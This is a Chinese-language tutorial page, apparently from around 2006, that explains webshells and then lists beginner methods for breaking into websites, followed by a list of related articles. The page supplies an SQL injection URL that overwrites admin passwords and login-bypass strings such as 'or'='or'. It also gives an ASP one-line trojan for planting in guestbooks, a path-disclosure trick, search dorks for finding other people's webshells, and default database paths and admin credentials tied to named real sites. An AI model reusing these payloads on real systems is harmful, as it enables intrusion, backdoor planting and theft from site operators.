非常不错的脚本入侵基础知识总结第1/2页

一.Webshell是什么?这是很多朋友在疑惑的问题,
什么是webshell?今天我们就讲讲这个话题!

webshell是web入侵的脚本攻击工具。

简单的说来,webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些 asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。然后黑客就可以用web的方式,通过asp或php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等。</P>

为了更好理解webshell我们学习两个概念:

什么是“木马”?“木马”全称是“特洛伊木马(Trojan<BR>Horse)”,原指古希腊士兵藏在木马内进入敌方城市从而占领敌方城市的故事。在Internet上,“特洛伊木马”指一些程序设计人员在其可从网络上下载 (Download)的应用程序或游戏中,包含了可以控制用户的计算机系统的程序,可能造成用户的系统被破坏甚至瘫痪。

什么是后门?大家都知道,一台计算机上有65535个端口,那么如果把计算机看作是一间屋子,那么这65535个端口就可以它看做是计算机为了与外界连接所开的65535 扇门。每个门的背后都是一个服务。有的门是主人特地打开迎接客人的(提供服务),有的门是主人为了出去访问客人而开设的(访问远程服务)——理论上,剩下的其他门都该是关闭着的,但偏偏由于各种原因,很多门都是开启的。于是就有好事者进入,主人的隐私被刺探,生活被打扰,甚至屋里的东西也被搞得一片狼迹。这扇悄然被开启的门——就是“后门”。

webshell的优点

webshell 最大的优点就是可以穿越防火墙,由于与被控制的服务器或远程主机交换的数据都是通过80端口传递的,因此不会被防火墙拦截。并且使用webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。

如何寻找webshel:

1,脚本攻击SQL注入<BR>

2,使用注入工具<BR>

3,在浏览器里打开百度,输入搜索关键词"在本页操作不需要FSO支持&"或者"一次只能执行一个操作",然后点击搜索,很快就可以看到检索到了大量的查询结果.<BR>其他的东西,暂时不多说了,以后再深入吧,每天准备一个话题,需要的是巨大的毅力和努力,我们举办的每日讲座就是为了通俗容易懂的普及信息安全知识,让不喜欢看文章,觉得信息安全知识很深奥枯燥的人都明白,其实他只要花很少时间,就可以了解很多信息安全知识!

二.菜鸟学习入侵的14种可利用方法

作者:佚名 文章来源:本站原创 点击数:560 更新时间:2006-8-9

1.上传漏洞[不多讲]

pS: 如果看到:选择你要上传的文件 [重新上传]或者出现“请登陆后使用”,80%就有漏洞了!

有时上传不一定会成功,这是因为Cookies不一样.我们就要用WSockExpert取得Cookies.再用DOMAIN上传.

2.注入漏洞[不多讲]

pS:对MD5密码.有时我们不是哪么容易跑出来.如果是[SQL数据库].那么我们可以用以下命令:

http://注入网址;update admin set password='新MD5密码' where password='旧MD5密码'--  [admin为表名.]

3.旁注,也就是跨站.

我们入侵某站时可能这个站坚固的无懈可击,我们可以找下和这个站同一服务器的站点,然后在利用这个站点用提权,嗅探等方法来入侵我们 要入侵的站点。,在这里有个难点,就是一些服务器的绝对路径经过加密,这就看我们的本事了

4.暴库:把二级目录中间的/换成%5c

EY:http://www.scbzlx.com/test/test/test.asp?test=test&test=1

如果你能看到:'E:\test\test\database\test.asa'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否 连接到文件存放的服务器。

这样的就是数据库了。下载时用FLASHGET换成.MDB格式的就行.

5.'or'='or'这是一个可以连接SQL的语名句.可以直接进入后台。我收集了一下。类似的还有:

'or''=' " or "a"="a  ') or ('a'='a  ") or ("a"="a  or 1=1--  ' or 'a'='a

6.社会工程学。这个我们都知道吧。就是猜解。

7.写入ASP格式数据库。就是一句话木马[<%execute request("value")%> ],常用在留言本.

EY:http://www.scbzlx.com/book/book.asp[这个就是ASP格式的数据库],再写入一句话木马

8.源码利用:一些网站用的都是网上下载的源码.有的站长很菜.什么也不改.

EY:http://www.ahsdxy.ah.edu.cn/xiaoyoulu/index.asp

这个站用的是:杰出校友录,源码我下过了,

默认数据库/webshell路径:\database\liangu_data.mdb 后台管理:adm_login.asp 密码及用户名都是admin

9.默认数据库/webshell路径利用:这样的网站很多/利人别人的WEBSHELL.

/Databackup/dvbbs7.MDB

/bbs/Databackup/dvbbs7.MDB

/bbs/Data/dvbbs7.MDB

/data/dvbbs7.mdb

/bbs/diy.asp

/diy.asp

/bbs/cmd.asp

/bbs/cmd.exe

/bbs/s-u.exe

/bbs/servu.exe

工具:网站猎手 挖掘鸡

EY:http://www.cl1999.com/bbs/Databackup/dvbbs7.MDB

当前1/2页 12下一页阅读全文

(0)

相关推荐

  • 非常不错的脚本入侵基础知识总结第1/2页

    一.Webshell是什么?这是很多朋友在疑惑的问题, 什么是webshell?今天我们就讲讲这个话题! webshell是web入侵的脚本攻击工具. 简单的说来,webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些 asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起.然后黑客就可以用web的方式,通过asp或php木马后门控制网站服务器,包括上传下载文件.查看数据库.执行任意程序命令等.</P> 为了更好理解webshell我们

  • Linux 脚本编写基础知识

    1. Linux 脚本编写基础 1.1 语法基本介绍 1.1.1 开头 程序必须以下面的行开始(必须放在文件的第一行):#!/bin/sh 符号#!用来告诉系统它后面的参数是用来执行该文件的程序.在这个例子中我们使用/bin/sh来执行程序. 当编辑好脚本时,如果要执行该脚本,还必须使其可执行. 要使脚本可执行:编译 chmod +x filename 这样才能用./filename 来运行 1.1.2 注释 在进行shell编程时,以#开头的句子表示注释,直到这一行的结束.我们真诚地建议您在程

  • awk基础知识小结第1/2页

    1.使用规则 awk 适合于文本处理和报表生成,它还有许多精心设计的特性,允许进行需要特殊技巧程序设计.awk 的语法较为常见.它借鉴了某些语言的一些精华部分,如C 语言.python 和 bash. 第一个 awk让我们继续,开始使用 awk,以了解其工作原理.在命令行中输入以下命令:$ awk '{ print }' /etc/passwd您将会见到 /etc/passwd 文件的内容出现在眼前.现在,解释 awk 做了些什么.调用 awk 时,我们指定 /etc/passwd 作为输入文件

  • 学习shell脚本之前的基础知识[图文]

    日常的linux系统管理工作中必不可少的就是shell脚本,如果不会写shell脚本,那么你就不算一个合格的管理员.目前很多单位在招聘linux系统管理员时,shell脚本的编写是必考的项目.有的单位甚至用shell脚本的编写能力来衡量这个linux系统管理员的经验是否丰富.笔者讲这些的目的只有一个,那就是让你认真对待shell脚本,从一开始就要把基础知识掌握牢固,然后要不断的练习,只要你shell脚本写的好,相信你的linux求职路就会轻松的多.笔者在这一章中并不会多么详细的介绍shell脚本

  • Cisco路由技术基础知识详解

    Cisco路由技术基础知识详解 路由器 <一> 最简单的网络可以想象成单线的总线,各个计算机可以通过向总线发送分组以互相通信.但随着网络中的计算机数目增长,这就很不可行了,会产 生许多问题: 1.带宽资源耗尽.     2.每台计算机都浪费许多时间处理无关的广播数据.     3.网络变得无法管理,任何错误都可能导致整个网络瘫痪.     4.每台计算机都可以监听到其他计算机的通信. 把网络分段可以解决这些问题,但同时你必须提供一种机制使不同网段的计算机可以互相通信,这通常涉及到在一些ISO网

  • Webshell基础知识深入讲解

    一.什么是Webshell? 顾名思义,"web"的含义是显然需要服务器开放web服务,"shell"的含义是取得对服务器某种程度上操作权限.webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限.由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具. webshell就是以asp.php.jsp或者cgi等网页文件形式存在的一种代码执行环境,也可以将其称做为一种网页后门.黑客在入侵了一个网站后,通常会将asp或php

  • PHP小白必须要知道的php基础知识(超实用)

    很多人看到PHP就以为是程序员,就以为钱很多(虽然是事实),但是也要考虑下自己是不是适合这一行,知道PHP是什么吗?PHP都有什么样的功能,都能用来干嘛? PHP是什么? •PHP(PHP: Hypertext Preprocessor,超文本预处理器的缩写),是一 种被广泛应用的开放源代码的.基于服务器端的用于产生动态网页 的.可嵌入HTML中的脚本程序语言,尤其适合 WEB 开发. •当客户端向服务器的程序提出请求时,web服务器根据请求晌应对应 的页面,当页面中含有php脚本时,服务器会交

  • ASP新手必备的基础知识

    我们都知道,ASP是Active Server Page的缩写,意为"动态服务器页面".ASP是微软公司开发的代替CGI脚本程序的一种应用,它可以与数据库和其它程序进行交互,是一种简单.方便的编程工具.下面介绍一些基本知识,供大家参考. 一.数据库连接 以下为引用的内容: <% set conn=server.createobject("adodb.connection") conn.open "driver={microsoft access dr

  • JavaScript基础知识及常用方法总结

    JAVASCRIPT是AJAX技术中不可或缺的一部分,所以想学好AJAX以及现在流行的AJAX框架,学好JAVASCRIPT是最重要的. 一.基础知识: 1.document.write(""); 输出语句 2.JS中的注释为// 3.传统的HTML文档顺序是:document->html->(head,body) 4.一个浏览器窗口中的DOM顺序是:window->(navigator,screen,history,location,document) 5.得到表单

  • 不错的一篇网络管理员入门与基础技术文章第1/2页

    学习基础知识当好称职网络管理员    本着就近原则,毕业后本人在一个国企当上了一名网络管理员.企业不大,机器也就500~600台左右吧:面积不大,也就700~800平方左右吧:楼房不多,也就6~7幢吧.网管本来就是一个不错的职业.想想啊,只要开始把网络设计好.做好.考虑周到点,那后来您不就一个每天喝着茶.看看报,到月初就拿工资的主儿吗?但是,实际上我们并不是你们想象中的那么清闲啊--我们还是先来谈谈网管所需要具备的知识吧.   作为网络管理员,首先必须要知道网络到底是什么?其实网络就是一个系统,

随机推荐